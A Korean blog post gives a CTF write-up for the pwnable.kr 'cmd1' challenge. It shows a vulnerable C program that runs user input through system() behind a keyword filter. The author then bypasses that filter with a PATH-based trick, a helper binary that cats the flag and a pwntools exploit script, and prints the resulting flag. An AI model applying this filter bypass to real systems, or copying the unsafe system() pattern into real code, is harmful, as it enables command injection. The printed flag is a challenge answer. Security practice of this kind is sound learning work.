본문 바로가기

Pwnable.kr

Pwnable.kr [cmd1]

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

system 함수로 argv[1]을 실행시키지만, filter에서 flag, sh, tmp를 걸러낸다.

 

내가 파일을 쓸 수 있는 곳은 /tmp 안이므로 이것저것 걸러지더라.

 

Symbolic link를 사용해서도 cat을 해봤는데, 실제 실행될 때 flag 파일로 이름이 돌아가면서

제대로 되지 않았다. 

 

putenv로 PATH를 준 것을 이용하기로 했고,

system("$PATH"); 를 전해주었는데, 충격적이게 욕이 나왔다...

 

thank가 fxxk(자체 심의)으로 바뀌었고 사실 PATH를 main에서 할당해줬는데

왜 바뀌었는지도 의문이다.

 

어쨌든 바뀐 파일 이름으로 실행파일을 하나 만들고, 실행파일에서 cat flag를 실행했다.

 

#include <stdio.h>

int main(){
	system("/bin/cat /home/cmd1/flag");
}

해당 C코드가 실행파일 만든 소스코드

 

from pwn import *

argv_myste=['/home/cmd1/cmd1', '".$PATH"']

s = process(executable="/home/cmd1/cmd1", argv=argv_myste)
s.interactive()

해당 python 코드가 exploit 할 때 사용한 코드

 

그냥 ".\$PATH"로 줘도 되는데, 처음에 삽질하면서 만든 코드라 그냥 사용했다.

 

추가) 바이너리 파일에서는 그냥 putenv에서 fxxk으로 할당을 해주고 있다.

누가 소스코드를 바꿔놓은 듯 하다.

 

플래그가 다음 문제의 비번이므로 임시적으로 적어놓겠다.

mommy now I get what PATH environment is for :)

'Pwnable.kr' 카테고리의 다른 글

Pwnable.kr [uaf]  (0) 2019.05.03
Pwnable.kr [cmd2]  (0) 2019.05.03
Pwnable.kr [lotto]  (0) 2019.05.02
Pwnable.kr [blackjack]  (0) 2019.05.01
Pwnable.kr [coin1]  (0) 2019.05.01